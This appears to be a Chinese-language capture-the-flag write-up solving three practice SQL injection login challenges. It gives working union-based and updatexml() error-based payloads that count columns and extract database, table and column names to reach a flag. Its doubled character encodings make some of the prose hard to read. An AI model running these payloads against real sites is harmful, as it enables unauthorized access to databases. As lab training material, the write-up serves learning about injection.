---------------------------------Rank 1 -------------------------------------------------
先在表單Username編輯框中輸入1,點登錄,頁面回顯如下:

然后在Username中輸入1',點登錄,再看回顯,看是否存在注入:

可看到存在注入,且從錯誤提示信息中可以看到,數(shù)據(jù)庫是MySQL,因此這里可以使用updatexml()函數(shù)進行報錯注入,也可以直接構(gòu)造union 聯(lián)合查詢語句進行注入。這里我就使用后者了。
先獲取字段數(shù),構(gòu)造語句如下:
1' order by 3 #

構(gòu)造語句:
1' order by 2 #
則無報錯信息,故字段數(shù)為2。
獲取當前數(shù)據(jù)庫名,構(gòu)造語句如下:
1' union select 1,database() #

獲取表名,構(gòu)造語句如下:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

獲取字段名,構(gòu)造語句如下:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

然后查詢zKaQ字段就能獲取flag。
---------------------------------Rank 2 -------------------------------------------------
先在表單的Username編輯框中輸入1,點登錄,頁面回顯如下:

可以看到這里在sql語句中,將username等號后面的值用小括號和雙引號括起來了。
所以這次試用 1" 來判斷是否存在注入:

看到了熟悉的MySQL報錯信息,這就好辦了。
直接來吧,先確定字段數(shù),構(gòu)造如下語句:
1") order by 3 #

再構(gòu)造如下語句:
1") order by 2 #
結(jié)果沒有報錯信息出現(xiàn),所以字段數(shù)是2。
獲取當前數(shù)據(jù)庫名,構(gòu)造語句如下:
1") union select 1,database() #

獲取表名,構(gòu)造語句如下:
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

獲取字段名,構(gòu)造語句如下:
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

然后查詢zKaQ字段就能獲取flag。
---------------------------------Rank 3 -------------------------------------------------
先在表單的Username編輯框中輸入1,點登錄,頁面回顯如下:

可以看到這里在sql語句中,將username等號后面的值用小括號和單引號括起來了。
所以這里使用 1') 來判斷是否存在注入:

看到了熟悉的MySQL報錯信息,本以來這道題也跟上面的Rank 1 和 Rank 2兩道題一樣的套路,但發(fā)現(xiàn)聯(lián)合查詢語句查詢的結(jié)果并沒有回顯到頁面中,因此就不能這么干了。
但幸運的是,用 1') 進行注入判斷時,確實頁面上出現(xiàn)了MySQL的報錯信息,那下面嘗試使用updatexml()進行報錯注入。
首先獲取當前數(shù)據(jù)庫名,構(gòu)造如下語句輸入到Username編輯框中:
1') or updatexml(0,concat(0x3a,(select database())),0) #

可以看到確實有錯誤信息顯示在頁面上,并且已經(jīng)將所查詢的信息暴出來了。
繼續(xù)獲取表名,構(gòu)造如下語句:
1') or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0) #

獲取字段名,構(gòu)造如下語句:
1') or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0) #

然后查詢zKaQ字段的內(nèi)容就可以拿到flag。